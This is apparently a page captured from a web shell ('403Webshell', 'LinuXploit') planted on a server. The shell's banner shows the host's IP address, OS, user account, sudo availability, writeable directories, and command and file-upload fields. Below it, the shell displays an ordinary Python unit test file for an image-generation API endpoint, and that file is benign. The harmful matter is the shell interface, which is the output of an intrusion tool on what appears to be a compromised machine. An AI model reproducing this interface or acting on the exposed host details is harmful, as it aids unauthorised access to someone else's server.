403Webshell
Server IP : 3.147.158.171  /  Your IP : 216.73.216.229
Web Server : Apache/2.4.67 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-2-178.us-east-2.compute.internal 6.1.172-216.329.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 20 06:31:34 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /tsai/repo/api/tests/unit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tsai/repo/api/tests/unit/test_gpt_image_2.py
"""Unit tests for the /gpt-image-2/ endpoint (Responses API image_generation tool)."""

import base64

import pytest
from unittest.mock import MagicMock, patch
from fastapi.testclient import TestClient

from app.appTypes import (
    GptImage2Background,
    GptImage2Request,
    GptImageFormat,
    GptImageInputFidelity,
    GptImageQuality,
    GptImageSize,
)
from app.main import app
from app.services import image_v2
from app.utilities.site_auth import get_current_site


@pytest.fixture
def client():
    return TestClient(app)


@pytest.fixture
def client_with_site():
    app.dependency_overrides[get_current_site] = lambda: MagicMock()
    c = TestClient(app)
    yield c
    app.dependency_overrides.clear()


class TestGptImage2RequestModel:
    def test_defaults(self):
        req = GptImage2Request(prompt="A cat", user="test-user")
        assert req.driver_model == "gpt-5"
        assert req.stream is True
        assert req.size == GptImageSize.auto
        assert req.quality == GptImageQuality.medium
        assert req.output_format is None
        assert req.background is None
        assert req.input_fidelity is None
        assert req.partial_images is None
        assert req.input_images is None
        assert req.previous_response_id is None

    def test_custom_values(self):
        req = GptImage2Request(
            prompt="A landscape",
            user="test-user",
            driver_model="gpt-5",
            size=GptImageSize._1536x1024,
            quality=GptImageQuality.high,
            output_format=GptImageFormat.png,
            background=GptImage2Background.transparent,
            input_fidelity=GptImageInputFidelity.high,
            partial_images=2,
            input_images=["base64data"],
            previous_response_id="resp_123",
        )
        assert req.background == GptImage2Background.transparent
        assert req.partial_images == 2
        assert req.previous_response_id == "resp_123"


class TestValidateRequest:
    def test_partial_images_requires_stream(self):
        req = GptImage2Request(prompt="x", user="u", partial_images=2, stream=False)
        with pytest.raises(Exception):
            image_v2.validate_request(req)

    def test_partial_images_out_of_range(self):
        req = GptImage2Request(prompt="x", user="u", partial_images=5)
        with pytest.raises(Exception):
            image_v2.validate_request(req)

    def test_transparent_requires_png(self):
        req = GptImage2Request(
            prompt="x",
            user="u",
            background=GptImage2Background.transparent,
            output_format=GptImageFormat.jpeg,
        )
        with pytest.raises(Exception):
            image_v2.validate_request(req)

    def test_transparent_with_png_ok(self):
        req = GptImage2Request(
            prompt="x",
            user="u",
            background=GptImage2Background.transparent,
            output_format=GptImageFormat.png,
        )
        image_v2.validate_request(req)

    def test_partial_images_streaming_in_range(self):
        req = GptImage2Request(prompt="x", user="u", partial_images=2, stream=True)
        image_v2.validate_request(req)


class TestBuildResponsesKwargs:
    def test_text_only_input(self):
        req = GptImage2Request(prompt="hello", user="u")
        kwargs = image_v2.build_responses_kwargs(req)
        assert kwargs["model"] == "gpt-5"
        assert kwargs["input"] == "hello"
        assert kwargs["tools"][0]["type"] == "image_generation"
        assert kwargs["tools"][0]["size"] == "auto"
        assert kwargs["tools"][0]["quality"] == "medium"
        assert "previous_response_id" not in kwargs

    def test_with_input_images_builds_multimodal(self):
        b64 = base64.b64encode(b"fakeimg").decode("ascii")
        req = GptImage2Request(prompt="edit me", user="u", input_images=[b64])
        kwargs = image_v2.build_responses_kwargs(req)
        assert isinstance(kwargs["input"], list)
        msg = kwargs["input"][0]
        assert msg["role"] == "user"
        parts = msg["content"]
        assert parts[0] == {"type": "input_text", "text": "edit me"}
        assert parts[1]["type"] == "input_image"
        assert parts[1]["image_url"].startswith("data:image/png;base64,")

    def test_previous_response_id_passed_through(self):
        req = GptImage2Request(
            prompt="more", user="u", previous_response_id="resp_abc"
        )
        kwargs = image_v2.build_responses_kwargs(req)
        assert kwargs["previous_response_id"] == "resp_abc"

    def test_tool_options_include_optional_fields(self):
        req = GptImage2Request(
            prompt="x",
            user="u",
            output_format=GptImageFormat.png,
            background=GptImage2Background.transparent,
            input_fidelity=GptImageInputFidelity.high,
            partial_images=2,
        )
        tool = image_v2.build_responses_kwargs(req)["tools"][0]
        assert tool["output_format"] == "png"
        assert tool["background"] == "transparent"
        assert tool["input_fidelity"] == "high"
        assert tool["partial_images"] == 2

    def test_resolve_output_format_forces_png_for_transparent(self):
        req = GptImage2Request(
            prompt="x",
            user="u",
            output_format=GptImageFormat.jpeg,
            background=GptImage2Background.transparent,
        )
        # Endpoint validation would reject this, but resolve_output_format must coerce.
        assert image_v2.resolve_output_format(req) == "png"


class TestExtractFinalImageB64:
    def test_finds_image_generation_call(self):
        item = MagicMock()
        item.type = "image_generation_call"
        item.result = "BASE64STRING"
        msg = MagicMock()
        msg.type = "message"
        response = MagicMock()
        response.output = [msg, item]
        assert image_v2.extract_final_image_b64(response) == "BASE64STRING"

    def test_returns_none_when_missing(self):
        msg = MagicMock()
        msg.type = "message"
        response = MagicMock()
        response.output = [msg]
        assert image_v2.extract_final_image_b64(response) is None


class TestStoreEndpoint:
    def test_store_returns_key(self, client_with_site):
        resp = client_with_site.post(
            "/api/v1/gpt-image-2/store/",
            json={"prompt": "hi", "user": "u"},
        )
        assert resp.status_code == 200
        assert resp.json()["message"].isdigit()

    def test_store_rejects_partial_images_without_stream(self, client_with_site):
        resp = client_with_site.post(
            "/api/v1/gpt-image-2/store/",
            json={
                "prompt": "hi",
                "user": "u",
                "partial_images": 2,
                "stream": False,
            },
        )
        assert resp.status_code == 400


class TestStreamMissingKey:
    def test_returns_error_event_for_missing_key(self, client):
        # Use an obviously absent key — endpoint must emit an Error event then
        # the end sentinel.
        with client.stream("GET", "/api/v1/gpt-image-2/stream/no-such-key") as resp:
            assert resp.status_code == 200
            body = b"".join(resp.iter_bytes()).decode("utf-8")
            assert "Error: Image request not found" in body
            assert "__chatbot_end__" in body

Youez - 2016 - github.com/yon3zu
LinuXploit